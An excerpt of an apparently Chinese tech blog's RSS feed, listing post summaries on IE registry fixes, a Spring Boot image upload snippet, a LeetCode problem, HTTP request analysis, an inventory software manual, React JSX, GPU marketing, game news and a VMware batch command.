      <description>右键单击IE快捷方式(如没有将桌面的IE图标托到快速启动栏中)选“属性”/“快捷方式”在“运行方式”中单击右侧下拉条选“最大化”按确定退出，打开IE点击里面的链接然后关闭。前面打开的IE浏览窗口，只留下这个链接页面拉动边框，将窗口拉到整个屏幕然后关闭该页面，以后打开IE窗口直接最大化了。&#xA;如果还不行，运行输入regedit回车，打开注册表定位[HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Desktop\OldworkAreas\]然后在右窗格选中“OldworkAreaRects”将它删除。&#xA;在找到[HKEY_CURRENT_USER\Sofware\Microsoft\Internet Explorer\Main]选窗口右侧的“Window Placement”项删除，重启电脑，然后打开IE将窗口最大化，并击“还原”按钮将窗口还原，接着再击“最大化”按钮，最后关闭IE以后在打开IE就正常了。&#xA;如果故障依旧:&#xA;1、开机按F8不动到高级选项出现在松手，选“最近一次的正确配置”回车修复。&#xA;2、开机按F8进入安全模式后在退出，选重启或关机在开机，就可以进入正常模式(修复注册表)。&#xA;3、如果故障依旧，请你用系统自带的系统还原，还原到你没有出现这次故障的时候修复(如果正常模式恢复失败，请开机按F8进入到安全模式中使用系统还原)。&#xA;4、如果故障依旧，使用系统盘修复，打开命令提示符输入SFC /SCANNOW 回车(SFC和/之间有一个空格)，插入原装系统盘修复系统，系统会自动对比修复的。&#xA;5、如果故障依旧，在BIOS中设置光驱为第一启动设备插入系统安装盘按R键选择“修复安装”即可。&#xA;6、如果故障依旧，建议重装操作系统。&#xA;如果实在不行，建议选择修复安装，这样即修复了系统，又可使C盘的程序和文件不受损失。&#xA;如果是IE损坏，请重装IE。&#xA;IE浏览器出问题了，但是当重装时却怎么也安装不了，提示已安装了最新版本，想卸载后再重装，可是在“添加或删除程序”窗口中却找不到IE浏览器的卸载程序。&#xA;操作方法：运行输入regedit打开注册表[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorer\Version Vector]子键，在右侧窗口中双击名为“IE”的键值项，在打开的对话框中将其数值改小(0)，确定后重启电脑即可重装IE浏览器了(网上搜索下载IE)。&#xA;。&#xA;全部</description>
    </item>
    <item>
      <title>uni-app图片读取问题</title>
      <link>https://bchobby.github.io/posts/3b09eb56e15cc9a8d0860958d38d779a/</link>
      <pubDate>Wed, 11 Aug 2021 10:36:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b09eb56e15cc9a8d0860958d38d779a/</guid>
      <description>uni-app图片读取只能从静态资源或者使用网络图片&#xA;如果想使用本地图片的话需要将路径映射到磁盘路径中去。这里我们在properties中写：&#xA;filePath=D:/temp/images/ spring.resources.static-locations=classpath:static/**spring.resources.static-locations=classpath:/META-INF/resources/,classpath:/resources/,classpath:/static/,classpath:/public/,file:${filePath} 后台代码&#xA;@RequestMapping(&#34;getimg&#34;) @ResponseBody public String getimg(HttpServletRequest request,@RequestParam MultipartFile file){ //获取图片名称 String fname = file.getOriginalFilename(); //获取图片名称后缀 .png 或 .jpg String[] split = fname.split(&#34;\\.&#34;); //图片存储路径 Linux注意不能带冒号: String filepath=&#34;D:\\temp\\images\\&#34;; //↓没有横杠的uuid 自行百度 //String uuid = UtilTool.getUUid(); UUID uuid = UUID.randomUUID(); //随机文件名 String finalname=uuid + &#34;.&#34; + split[1]; //最终路径 String finalpath=filepath+finalname; try { file.transferTo(new File(finalpath)); } catch (IOException e) { e.printStackTrace(); } return &#34;http://&#34;+request.getRemoteHost()+&#34;:&#34;+request.getServerPort()+&#34;/&#34;+finalname; } 链接格式如下&#xA;常见问题总结&#xA;1） 不可以将上传来的文件保存到项目地址中，即不可以保存在resource/static目录下,因为这样的话,及时上传成功,也需要重启整个项目才能够通过地址访问到该图片。换言之，target不会因为你上传了图片，就自动更新静态资源。&#xA;2） 配置文件中static-location后面配置的那些目录，就是localhost:8080可以直接访问的文件了，也就是说我们现在已经将磁盘的目录配置上了，那么我们存放在E:/Data/uploadFile文件夹中的任何文件就可以直接localhost：8080/文件名进行访问了。</description>
    </item>
    <item>
      <title>122.买卖股票的最佳时机II【贪心算法】</title>
      <link>https://bchobby.github.io/posts/adf50f42afd7aca76788872b543cd176/</link>
      <pubDate>Wed, 11 Aug 2021 10:27:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/adf50f42afd7aca76788872b543cd176/</guid>
      <description>122.买卖股票的最佳时机II&#xA;题⽬链接：&#xA;https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock-ii/&#xA;给定⼀个数组，它的第 i 个元素是⼀⽀给定股票第 i 天的价格。&#xA;设计⼀个算法来计算你所能获取的最⼤利润。你可以尽可能地完成更多的交易（多次买卖⼀⽀股票）。&#xA;注意：你不能同时参与多笔交易（你必须在再次购买前出售掉之前的股票）。&#xA;示例 1:&#xA;输⼊: [7,1,5,3,6,4]&#xA;输出: 7&#xA;解释: 在第2天（股票价格 = 1）的时候买⼊，在第3天（股票价格 = 5）的时候卖出, 这笔交易所能获得利润为 5-1 = 4。随后，在第4天（股票价格 = 3）的时候买⼊，在第5天（股票价格 = 6）的时候卖出, 这笔交易所能获得利润为 6-3 = 3。&#xA;示例 2:&#xA;输⼊: [1,2,3,4,5]&#xA;输出: 4&#xA;解释: 在第1天（股票价格 = 1）的时候买⼊，在第5天 （股票价格 = 5）的时候卖出, 这笔交易所能获得利润为5- 1 = 4 。注意你不能在第1天和第2天接连购买股票，之后再将它们卖出。因为这样属于同时参与了多笔交易，你必须在再次购买前出售掉之前的股票。&#xA;示例 3:&#xA;输⼊: [7,6,4,3,1]&#xA;输出: 0&#xA;解释: 在这种情况下, 没有交易完成, 所以最⼤利润为 0。&#xA;提示：&#xA;1 &amp;lt;= prices.length &amp;lt;= 3 * 1040 &amp;lt;= prices[i] &amp;lt;= 104 本题思路：</description>
    </item>
    <item>
      <title>HTTP报文分析</title>
      <link>https://bchobby.github.io/posts/38c6191db2ab1370d7059b5c19c08067/</link>
      <pubDate>Wed, 11 Aug 2021 09:07:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38c6191db2ab1370d7059b5c19c08067/</guid>
      <description>HTTP协议： HTTP (HyperText Transfer Protocol, 超文本传输协议)是浏览器与Web服务器之间的通信协议，是传递消息的规范和要求。&#xA;HTTP请求页面如果是以html为后缀名，则直接发送给请求者如果是PHP、asp的后缀名，则返回运行结果（运行结果仍然是html页面） HTTP报文 客户端发送的叫请求报文服务器发送的叫响应报文 两种报文都分为报文首部和报文主体&#xA;请求报文和响应报文结构差异： 请求行：请求报文里面有状态行：响应报文里面有首部字段：通用其他：比如HTML页面。 实例分析： 请求报文 GET /adu.gif?channelid=stub.firefox.com.cn&amp;amp;fxversion=90.0.2&amp;amp;ceversion=2021.7&amp;amp;ver=2_2&amp;amp;pk=%7Bfc73e7f6-7e2c-40fb-bc0b-5534bb0db452%7D&amp;amp;uk=%7B33db2b58-6dee-461d-bd8f-38555ee9aa2e%7D&amp;amp;cehome=true&amp;amp;locale=zh-CN&amp;amp;age=1&amp;amp;default=false&amp;amp;defaultHttp=false&amp;amp;flash=&amp;amp;tracking=3&amp;amp;now=1628642707377 HTTP/1.1 Host: adu.g-fox.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: close 如上两个报文都是一个报文：区别在于：第一个报文时真正的url内容：&#xA;adu.gif?channelid=stub.firefox.com.cn&amp;amp;fxversion=90.0.2&amp;amp;ceversion=2021.7&amp;amp;ver=2_2&amp;amp;pk=%7Bfc73e7f6-7e2c-40fb-bc0b-5534bb0db452%7D&amp;amp;uk=%7B33db2b58-6dee-461d-bd8f-38555ee9aa2e%7D&amp;amp;cehome=true&amp;amp;locale=zh-CN&amp;amp;age=1&amp;amp;default=false&amp;amp;defaultHttp=false&amp;amp;flash=&amp;amp;tracking=3&amp;amp;now=1628642707377 第二个报文则时以HTML的形式显示的</description>
    </item>
    <item>
      <title>库存管理系统服务器ip地址,新库存管理系统使用手册_完整版.docx</title>
      <link>https://bchobby.github.io/posts/0fc823df1e8ee92677861aa1695a347d/</link>
      <pubDate>Wed, 11 Aug 2021 08:57:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fc823df1e8ee92677861aa1695a347d/</guid>
      <description>库存管理系统使用手册&#xA;一、系统环境搭建&#xA;无论在服务器或客户机上都需装上interbase7.5版本。&#xA;拷贝整个新库存成本程序文件夹至服务器及客户端。&#xA;打开文件夹中的“kucun.ini”文件进行程序配置。&#xA;A、[多数据库配置]&#xA;进入系统是否允许选择=YES&#xA;1=宁波太古店&#xA;[宁波太古店]&#xA;STORAGE=:d:\新库存成本\data\KC.GDB&#xA;FOODBEV=:d:\food\data\FOODBEV.GDB&#xA;FBAUDIT=:d:\food\data\FBAUDIT.GDB&#xA;在多数据库配置中，进入系统是否允许选择=YES不用去改动，如改成NO的话，程序连接数据库则通过原先库存程序中的“data_set.exe”程序，YES则直接通过“kucun.ini”&#xA;文件进行连接。在下面可以加多家分店名称。上面举的一个例子为只加一个太古店的数据库，即“1＝宁波太古店”。如还想查看其它分店，可换行再自行增加。例如：2＝宁波东钱湖店。增加完后，再增加其数据库的路径。上面一个例子已增加了宁波太古店的数据库路径。如要加宁波东钱湖店，则在太古店数据库路径下另起一行，写上[宁波东钱湖店]，再换行，填写方式跟太古店一样。&#xA;B、[数据同步]与[配送中心]的IP地址均改为新物流数据库所在服务器的地址。&#xA;二、库存管理使用操作&#xA;1、登录界面的使用&#xA;在电脑的桌面上打开库存管理程序图标：，出现如下界面：&#xA;，在此只有一家分店，鼠标不需要去选择，如果在界面中的请选择数据库有多家分店显示，则可用鼠标点击该分店，再接点击“确定”按钮，出现程序登录界面，如图：&#xA;2、帐套维护&#xA;在此登录界面中分为几项内容：&#xA;2.1、帐套，对于一家分店来讲，基本上使用一个帐套即可，在这里不需选择。&#xA;2.2、年度，即默认显示为当年的库存帐套，亦可选择其它年份。&#xA;2.3、员工、密码，需自己输入进入库存系统的帐号名及密码。&#xA;2.4、界面左下角的“新增帐套”、“删除帐套”、“帐套维护”三个功能在于对一家分店库存帐套需要设两个时，可点“新增帐套”，在点击“新增帐套”之前，需在员工一栏中输入帐套维护工号：system。点击后出现如图：&#xA;，在此界面中，所出现的帐套编号：2是指太古店的第二个帐套。帐套描述即指这个新增帐套的名称，例如第一个帐套名为“宁波太古店”，系统操作员即为帐套维护工号，基本上不用去改动。系统口令即指帐套维护工号的密码，可自行设定。在此我们举个例子，新增第二个帐套“宁波太古店二”，确定后如图：&#xA;新增完帐套后，需要给使用这个帐套的员工加帐号名，仍在此界面中的员工一栏输入：system，再输入系统口令，然后点击左下角的“帐套维护”，出现如图：&#xA;，此界面中默认出现的是增加“操作员”员界面，可选点取“基本”，在此设定新增帐套的基础功能，如图：&#xA;，在此界面中“开机报警”、“凭证号不能为空”、“自动生成凭证号”、“凭证号不能重复”这四项选项默认为不打勾，在此我们全部打上。最后一项可选，亦可不选(如退库、退库时做单据需要用到以前的入库出库单据凭证号，可把这个选项去掉)&#xA;点击“会计期”，出现如图：&#xA;，在此不需要修改，默认即可。&#xA;最后讲一下操作员，即增加帐号以及权限，如图：&#xA;点击左下角的增加，当左边姓名一列的“小黑三角”变为“*”时，可在此输入帐号名，如图：&#xA;，加完后按回车键即可，当帐号名加完以后，对该帐号的权限进行编辑，点击界面下面的“操作授权”按钮，出现如图：&#xA;在此有很多种权限，对仓库管理员加入除成本以外的所有权限，选完后，点击“确定”按钮即可。如此，对仓库这个帐号名的权限赋值完成。如图：&#xA;在此界面右边“仓位授权”按钮是对该帐号名限制对分店某一个仓库位的使用，基本上仓库管理员对此不设限制。点击确定后，返回登录主界面。&#xA;返回到登录主界面后，默认帐套为第一个帐套。我们在此登录第二个帐套，鼠标点击2、宁波太古店二。再输入员工号，密码在第一次增加时为空，登录库存系统。&#xA;3、程序主界面的使用&#xA;3.1、状态提醒：当点击“登录”按钮后，程序首先弹出库存管理的提醒框，如图：&#xA;在&#xA;此界面中，所显示的是物资的周转期提醒、库存物资上限、下限提醒、物资价格异动提醒。A、&#xA;周转期提醒，即为一个物资在分店使用周期的设定，如“王朝干红”这个物资在分店中使用周期为1个月，那么设定周转期为30天，然后再让这个物资在到周转期限的前5天报警。设定方法：退出数据提醒框，进入程序主界面，如图：&#xA;，点&#xA;击系统初始化按钮，展开出现：，再点击物资编码，出现物资编码界面：&#xA;在&#xA;此设定一个“王朝干红”的周转期，先点击界面右边的“查找”功能，出现查找物资的界面，如图：&#xA;在此界面中，查找方法有三种，界面打开默认的为“按缩写查询(F2)”，另外还有“按编码查询(F1)”、“按名称查询(F3)”，按缩写查询指可用物资名称的拼音缩写进行查询，按编码查询可用物资编</description>
    </item>
    <item>
      <title>react-jsx语法上使用switch匹配不同渲染组件</title>
      <link>https://bchobby.github.io/posts/ec952062e4c51cd63959ca4ead6beedc/</link>
      <pubDate>Wed, 11 Aug 2021 08:54:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec952062e4c51cd63959ca4ead6beedc/</guid>
      <description>这里主要讲的是jsx语法使用switch 的js语句&#xA;一般jsx语法执行的是简单的运算和三元表达式&#xA;如果想要执行条件判断如if语句和switch语句以及函数等 直接使用是会报错的&#xA;这里应该使用函数立即执行的语法写法，如果需要根据不同判断渲染不同组件也可以不要忘了return结果&#xA;例如：{(这里写函数)()}&#xA;{(()=&amp;gt;{这里可以写if，switch等})()}&#xA;项目代码实例&#xA;&amp;lt;Tabs defaultActiveKey=&#34;1&#34; tabPosition={mode} style={{ height: &#39;80vh&#39; }}&amp;gt; {tabArr.map((v,i) =&amp;gt; ( &amp;lt;TabPane tab={`${v}`} key={i}&amp;gt; {(()=&amp;gt;{ // switch (key) { // case value: // break; // default: // break; // } switch (i) { case 0: return &amp;lt;FormDay/&amp;gt; case 1: return &amp;lt;FormWeek/&amp;gt; case 2: return &amp;lt;FormMonth/&amp;gt; case 3: return &amp;lt;FormSpecial/&amp;gt; case 4: return &amp;lt;FormSelf/&amp;gt; default: return null } })()} &amp;lt;/TabPane&amp;gt; ))} &amp;lt;/Tabs&amp;gt; 注意switch内要用return 带有返回值：可以return一个组件，这样就可以实现了不同判断条件下返回不同组件界面元素</description>
    </item>
    <item>
      <title>20系列显卡服务器,RTX20系列被严重低估，他不仅是一张游戏显卡</title>
      <link>https://bchobby.github.io/posts/d6ffed3683647730c20596fdf5d6f274/</link>
      <pubDate>Wed, 11 Aug 2021 08:02:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6ffed3683647730c20596fdf5d6f274/</guid>
      <description>Turing架构的另一个特殊功能是它具有Tensor Core，这是用于深度学习AI运算的计算单元。借助Tensor Cores，Turing图形卡的AI性能得到了极大的提高。&#xA;FP32浮点性能达到13.4TFLOPS。 FP16浮点性能甚至达到26.89TFLOPS，而INT8和INT4性能可以达到215.2TFLOPS和430.4TFLOPS。 Tensor Core AI加速技术涵盖了广泛的范围。&#xA;包括一系列模糊选项和30种功能，例如高质量放大图像的采样。在处理高质量图像时，其效率是使用i9-9900K的UHD 630集成显卡的近1.4倍，从而大大减少了等待时间并有效地提高了Creator的生产率。&#xA;换句话说，这是一种“智能”图形卡，可以使用AI来帮助您完成工作。&#xA;此外，NVIDIA长期的CUDA生态功能还使RTX GeForce显卡在生产力软件中获得出色的性能。这些新功能使RTX系列图形卡成为制作人员的宠儿。具体工作可以在下面的软件使用中得到反映。&#xA;Adobe Family Bucket的好帮手&#xA;Adobe Family Bucket是目前大多数内容创建者都会使用的软件。摄影师需要使用LR来编辑图像，图形设计师需要使用PS来图形，视频创作者需要使用PR来编辑视频，而AE需要添加特殊效果。&#xA;AI性能的增强使Turing图形卡在Adobe专业软件上的性能更加强大。现在，创作者约80％的工作实际上是重复而乏味的工作，例如寻找最佳照片，修饰和消除背景，装订和动画制作等等。&#xA;这些任务可以移交给AI，从而使AI可以帮助提高图像分辨率，增强照片细节并协助绘制，从而可以极大地提高创作者的工作效率，而这些只能通过基于Turing的图形卡来完成使用Tensor核心。&#xA;此外，NVIDIA在优化PR上的汞(CUDA)加速方面也做得非常出色。过去，软件的计算工作已移交给CPU执行。&#xA;但是，由于CPU的计算能力有限，尤其是并行计算效率低，因此处理图形和图像的效率不如GPU(图形卡)快。&#xA;近年来，图形卡已经发展到通用计算领域，通用计算将允许最初设计为显示内容的图形卡进行计算。&#xA;汞加速是Adobe为响应此更改而做出的更改，最初由CPU计算的功移交给了图形卡。&#xA;汞加速最直观的好处是速度更快，不再失速；原始的2小时渲染视频现在可以实时观看。&#xA;最初需要按Enter键进行预渲染的地方，现在可以实时进行计算；&#xA;这项更改对于编辑而言是非常重要的更改，它可以大大提高工作效率，使设计人员可以将更多的精力放在视频上，同时也有更多的机会尝试制作更好的作品。&#xA;同时，缩短渲染时间也提高了工作效率。&#xA;毕竟，这是实时渲染与预渲染之间的区别。使用NVIDIA显卡在PR中导出视频时，可以使用该显卡共享许多计算工作，从而使视频预览和渲染导出更加流畅和高效。&#xA;那么，测得的性能会如何？&#xA;在这里，我们仅使用技嘉RTX 2060 SUPER GAMING OC 3X导出11分钟长的视频。与仅使用i5-10600K单独导出视频相比，它的速度要快7倍，并且效率非常明显。&#xA;毫无疑问RTX显卡就是Adobe Family Bucket的好帮手。&#xA;现场直播&#xA;现场直播也是近几年比较红火的行业，随着电竞的兴起，PC行业和现场直播行业也受到辐射，越来越多人开始尝试做现场直播。&#xA;但是现场直播这件事本身就会占用极多的电脑性能资源与带宽资源，对于很多游戏主播来说，简直是一个绕不开的槛，现场直播的过程就是一边采集录制自己的屏幕画面，一边上传画面到现场直播平台的服务器。&#xA;当前，图像记录过程主要使用基于CPU计算的X264编码器，而该过程占用大量CPU资源。同时，游戏主播可以运行大型游戏或具有许多模型的复制型RPG在线游戏。&#xA;这些东西本身也非常占用CPU资源，导致两者在CPU资源方面相互竞争，这很容易造成延迟。&#xA;而NVIDIA也是针对这个需求，联合开源的现场直播串流软件OBS的厂商一同开发了一个基于NVIDIA显卡的编码器NVENC，这个编码器能直接调用N卡中的CUDA去串流，直接解放CPU与内存的负载压力，提高游戏过程中的游戏体验。&#xA;视频编码已添加到NVIDIA GPU增强并不断扩展的Premiere Pro功能列表中。现在，该列表包括通过CUDA实现的加速视频效果以及由GPU加速的AI辅助的自动重建。&#xA;除了Premiere Pro，NVIDIA硬件编码器还可以加速Adobe Media Encoder，After Effects和Audition中的视频导出功能。&#xA;当前版本还包括在Premiere Pro和After Effects中对Apple ProRes RAW的支持。&#xA;有了这个，创作者第一次可以直接在Windows中导入和编辑ProRes RAW文件，而无需进行转码。&#xA;NVIDIA GPU上的专用CUDA加快了此过程。&#xA;根据NVIDIA产品经理的说法，只要可以使用RTX20系列/ GTX16系列/ GTX10系列/ GTX9系列图形卡，就可以使用该技术，但是最佳体验将是RTX20系列，因为它是针对RTX20系列特别优化的。 RTX架构中的计算单元。编码可以最大程度地保留原始图像质量，高端RTX图形卡可以将游戏帧的损失控制在5％左右，端越高则越容易。&#xA;如今在现场直播行业，RTX显卡也成为各大主播的宠儿了。</description>
    </item>
    <item>
      <title>希尔瓦娜斯服务器位置,魔兽世界：Echo拿下希尔瓦娜斯世界首杀，国服职业战队苦苦挣扎...</title>
      <link>https://bchobby.github.io/posts/9c3a4cfc30766f00829549d6c423145e/</link>
      <pubDate>Wed, 11 Aug 2021 06:43:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c3a4cfc30766f00829549d6c423145e/</guid>
      <description>魔兽世界9.1版本史诗级团本《统御圣所》世界首杀争夺赛，依然在如火如荼地进行当中，截止北京时间7月20日晚上7点，欧洲的Ehco公会终于拿下了守关Boss希尔瓦娜斯拿到了世界首杀的成就。他们一用了176把的尝试以满员满战复的完美状态拿到了史诗级希尔瓦娜斯·风行者的世界首杀。&#xA;相信不少玩家也通过虎牙直播平台看到了Ehco公会拿下世界首杀的整个过程。这也是虎牙首次组织欧服战队Echo和国内首家魔兽世界职业公会Team Aster联合打造《史诗统御圣所首通争夺赛》，并带来了全程独家开荒视角。而Echo也是十分争气拿到了世界首杀，也是目前唯一一家拿到10/10进度的公会。&#xA;而国内战队Aster也已经拿到了8/10的进度，暂时排在世界第10的位置，正在向倒数第二个Boss克尔苏加德发起冲击，在团长二细的带领下Aster全员的配合明显比之前有了不少的进步。之前由于Aster战队是国内首家职业魔兽世界战队，老板晓菲也是宣布每年投入1200w人民币的大手笔，这也让国内的魔兽世界玩家们对于Aster战队十分期待。&#xA;不过当本次世界首杀争夺赛开打之后，Aster战队的表现并没有给玩家们带来惊喜，反倒是出现了配合不熟练的情况。不少玩家也是直接在二细的直播间开始嘲讽，甚至对于一些经常阵亡的队员起名叫做“四大天亡”。&#xA;不过按照目前Aster的开荒进度来看，7月23日(周四)服务器例行维护之前，应该能够见到最终Boss希尔瓦娜斯，关键是要看能够到到什么样的一个血量。正常情况下在例行维护新CD开始之后，经过了全新一轮的伐木之后，Aster战队应该能够在第二个CD拿下希尔瓦娜斯。</description>
    </item>
    <item>
      <title>小米5无限搭配加无服务器,配置全面拓展小米5支持NFC和HiFi</title>
      <link>https://bchobby.github.io/posts/1aaf63b3952f98bc2b35a015427c6296/</link>
      <pubDate>Wed, 11 Aug 2021 05:00:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1aaf63b3952f98bc2b35a015427c6296/</guid>
      <description>虽然骁龙820已经完成了它在亚洲的首秀，但传说中作为骁龙820首发大热门之一的小米5却仍旧是若隐若现，难辨其踪。不过，除了难辨真假的外观设计以外，小米5的部分配置正在一点一点的泄露出来。从最新曝光的一份银联“闪付”支持设备列表来看，传说中的小米5赫然在列，这也暗示着小米5很有可能将会重新搭载NFC近场通讯功能。&#xA;支持NFC功能&#xA;近日，中国银行联合20多家商业银行共同发布了“云闪付”服务，该服务是基于Android系统NFC功能的一项移动支付服务。在某商业银行列出的支持机型列表中，有网友发现小米3与小米5赫然在列，这也从侧面证明了小米5将会重新搭载NFC近场通讯功能。&#xA;众所周知，小米手机从小米4开始放弃了在当时稍显鸡肋的NFC功能，这也使得小米3成为了目前很多移动支付业务所支持的唯一一款小米手持设备。而随着基于NFC功能的移动支付业务逐渐兴起，小米5重新采用这一技术也就变得十分必要了。&#xA;上周有媒体索尼Xperia两款新机将于明年第二季登场，有可能是Xperia Z6系列的消息。而现在，来自微博的爆料称，索尼明年将有两款搭载骁龙820处理器的机型，分别在明年5月和9月发布，然后在6月和10月上市，不仅将采用全新设计，而且还会改用金属机身。因此，如果消息属实的话，那么则意味着索尼Xperia Z6将在明年6月份开卖。&#xA;将推两款旗舰&#xA;此前曾经传出索尼会有包括平板在内的7款新机在明年登场，并且除了4寸屏的Xperia Z6 mini之外，都会搭载骁龙820处理器。不过，根据消息人士在微博上的最新爆料称，索尼在明年将有两款配备骁龙820处理器的新机，分别在明年5月和9月发布，然后在6月和10月上市。这意味着索尼明年的Xperia Z系列只有两款机型会搭载骁龙820处理器，并且应该都是旗舰机型。&#xA;而在此前，同样是这位消息人士披露的消息称，索尼下一代Xperia Z系列将在明年五月份发布，而在MWC大会上则会发布新款中端机型。因此，不出意外的话，索尼Xperia Z6将会搭载骁龙820处理器在明年五月份发布，然后在六月份正式开卖。至于明年九月份发布的旗舰，则有可能是Xperia Z6+,也有可能是全新的Xperia Z7。&#xA;值得一提的是，按照消息人士的说法，索尼Xperia Z6系列还将采用全新设计，并且后盖一改过去的玻璃材质的做法，而会使用金属材质来提升质感。同时还有网友在回帖中声称已经见过了(Xperia Z6)真机，并表示手感绝对一流，屏幕会出乎大家预料。不过，这并不意味着该机会采用4K显示屏，因为消息人士同时还表示，索尼明年不会有4K屏机型推出，所以预计索尼会在下一代Xperia Z系列上采用全新显示技术来获得更好的画质。&#xA;至于索尼在明年九月份发布的旗舰机型则没有更多的消息被曝光，但根据消息人士的说法，索尼在明年并且没有Premium系列和Ultra系列新款机型推出，并且4寸屏的Xperia Z6 Mini已经被取消，所以暂时还不清楚该机将隶属Xperia Z6系列还是全新的Xperia Z7。&#xA;2015年12月14日 10:12&#xA;Z6 Compact同步登场&#xA;当然，尽管索尼明年仅有两款搭载骁龙820处理器的新机推出，但在明年五月份的时候应该还是会有Xperia Z6系列两款机型登场，这便是索尼XperiaZ6和Xperia Z6 Compact，据称还引入类似于iPhone 6s的3D Touch的压感触控技术。&#xA;而根据此前泄露的信息显示，索尼主力旗舰Xperia Z6将会装载5.2英寸显示屏，开发代号为X60，而索尼Xperia Z6 Compact 的代号为X55，所配触控屏尺寸为4.6英寸，至于其他主要配置则尚未有确切的规格，但相信诸如指纹识别，防水防尘，以及升级摄像头等应该在预料之中。</description>
    </item>
    <item>
      <title>批处理vm虚拟机服务器,一条批处理下令启动VmWare虚拟机</title>
      <link>https://bchobby.github.io/posts/61fc24ec6cccb8a997dd1949a24198ff/</link>
      <pubDate>Wed, 11 Aug 2021 03:56:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61fc24ec6cccb8a997dd1949a24198ff/</guid>
      <description>一条批处理命令启动VmWare虚拟机&#xA;我的工作机是window7系统，每天都要跟服务器版的Ubuntu系统打交道，于是用VmWare搭建了Ubuntu的环境，上班第一件事是双击桌面上的VmWare图标，然后选择Ubuntu虚拟机，点击启动按钮，由于我在Ubuntu系统上都是用shell命令操作，所以根本用不到图形界面，虚拟机开机后我要切换为后台模式运行(Run in Background)。上述操作费时费力，根据机器延时还有不同程度的等待，体验欠佳，于是我上网找到了一种一键可以开启VmWare下某个虚拟机的方法，分享给大家。&#xA;首先说一下我的VmWare是7.1.4版本(64位)，无论32位还是64位的VmWare都自带一个命令行的工具：VMRun，可以通过给它一定的参数实现指定虚拟系统的启动。&#xA;我的VmWare软件安装路径是：&#34;C:\Program Files (x86)\VMware\VMware Workstation\vmrun.exe&#34;&#xA;Ubuntu虚拟机的存放路径是：&#34;D:\Ubuntu\Ubuntu.vmx&#34;&#xA;很简单，只需要下面一行命令就可以启动Ubuntu虚拟机&#xA;&#34;C:\Program Files (x86)\VMware\VMware Workstation\vmrun.exe&#34; start &#34;D:\Ubuntu\Ubuntu.vmx&#34;&#xA;新建个文本文件，复制上面这行命令保存为start.bat(批处理文件类型)，然后双击这个文件就能启动Ubuntu虚拟机。&#xA;上面这行命令的格式是： vmrun的路径 start 虚拟机存放路径&#xA;如果仅仅这样做，虚拟机启动时还是会显示界面，如何让虚拟机在后台运行呢？只需在上述命令后添加一个参数nogui&#xA;例如： &#34;C:\Program Files (x86)\VMware\VMware Workstation\vmrun.exe&#34; start &#34;D:\Ubuntu\Ubuntu.vmx&#34; nogui&#xA;这样虚拟机就会默默在后台启动，使用时直接用终端工具putty登陆Ubuntu系统即可。&#xA;如果希望让虚拟机在windows启动后自动开启，可以将上述批处理文件加入windows的启动项中，或是计划任务里。&#xA;此外，通过为vmrun.exe传递不同的参数可以实现不同的功能，如关闭虚拟机系统、运行程序等。直接运行vmrun程序，不带参数，即可查看其帮助文档。&#xA;最后附上VmWare官方说明文档：http://www.vmware.com/pdf/vix160_vmrun_command.pdf</description>
    </item>
    <item>
      <title>服务器芯片组 硒武,不到两个月的服务器，武器炼化出这属性是什么水平？</title>
      <link>https://bchobby.github.io/posts/6b0923354e0819a65c280dc8d7d5a8f6/</link>
      <pubDate>Wed, 11 Aug 2021 01:59:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b0923354e0819a65c280dc8d7d5a8f6/</guid>
      <description>大话几率2021/08/05期，本期内容简要：&#xA;1、一玩家晒出自己的男魔属性前来挑战，4012的速度让多少玩家仰视的存在？&#xA;2、新区思无邪，作为不到2个月的新区，这个极品武器炼化出“极品”属性，你说在新区是什么样的水平？&#xA;3、克水24搭配三尸虫狂暴几率35，这样的炼化是否算是男鬼梦寐的存在？让我们来看看这件装备的全貌。&#xA;4012速，多少玩家仰望的存在！&#xA;(晒图人：星 尘)&#xA;新区思无邪的极品武器遇“极品”炼化，&#xA;这在新区是什么水平？&#xA;(晒图人：。)&#xA;呼喊来吉人或克火，最终圆梦吉人&#xA;再次世界喊话，最终获得高禅！&#xA;(晒图人：抱米花)&#xA;炼化克水24三尸虫狂暴几率35&#xA;装备全貌，底子有点可惜了&#xA;(晒图人：佛曰：上上签)&#xA;修罗喜获藕丝一双&#xA;(晒图人：時來運轉)&#xA;这样的炼化，只能一声叹息，唉！&#xA;(晒图人：武)&#xA;地暗星这是在聚会还是摆阵？&#xA;二哥：话说，不赶紧点进去还有时间截图？&#xA;(晒图人：郭亚)&#xA;300获得龙涎丸&#xA;最后倒贴300W！&#xA;(晒图人：王军)&#xA;幸运玩家杀称喜获忽视抽2.9武器&#xA;(晒图人：天高任我飞)</description>
    </item>
    <item>
      <title>mac nginx 服务器搭建网站,MAC上使用nginx搭建直播服务器-Go语言中文社区</title>
      <link>https://bchobby.github.io/posts/198775bac14f4e993e3281b69f8e6daf/</link>
      <pubDate>Wed, 11 Aug 2021 00:54:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/198775bac14f4e993e3281b69f8e6daf/</guid>
